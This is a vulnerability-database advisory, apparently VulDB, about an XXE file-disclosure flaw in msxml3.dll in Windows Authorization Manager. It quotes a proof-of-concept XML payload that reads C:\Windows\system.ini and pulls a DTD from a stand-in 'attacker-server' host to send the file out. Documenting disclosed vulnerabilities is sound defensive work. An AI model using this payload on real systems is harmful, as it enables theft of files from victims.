Microsoft Windows Authorization Manager msxml3.dll File information disclosure

Summaryinfo

A vulnerability identified as problematic has been detected in Microsoft Windows. Affected by this issue is some unknown functionality in the library msxml3.dll of the component Authorization Manager. Performing a manipulation results in information disclosure (File). The attack may be initiated remotely. In addition, an exploit is available.

Detailsinfo

A vulnerability, which was classified as problematic, was found in Microsoft Windows (Operating System) (affected version not known). This affects some unknown functionality in the library msxml3.dll of the component Authorization Manager. The manipulation with an unknown input leads to a information disclosure vulnerability (File). CWE is classifying the issue as CWE-200. The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. This is going to have an impact on confidentiality.

The weakness was presented 12/04/2016 by John Page (hyp3rlinx) as Microsoft Authorization Manager "azman" XML External Entity as not defined mailinglist post (Full-Disclosure). It is possible to read the advisory at seclists.org. The public release was coordinated in cooperation with Microsoft. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details and a public exploit are known. The attack technique deployed by this issue is T1592 according to MITRE ATT&CK.

A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 96 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd";>
%dtd;]>
<pwn>&send;</pwn>

The mailinglist post contains the following remark:

Vendor Reply: August 30, 2016 does not meet the bar for servicing as someone would have to obtain the XML from an untrusted source or compromised source"

See VDB-93964 and VDB-93962 for similar entries. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Type

• Operating System

Vendor

• Microsoft

Name

• Windows

License

• commercial

Website

• Vendor: https://www.microsoft.com/
• Product: https://www.microsoft.com/en-us/windows

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

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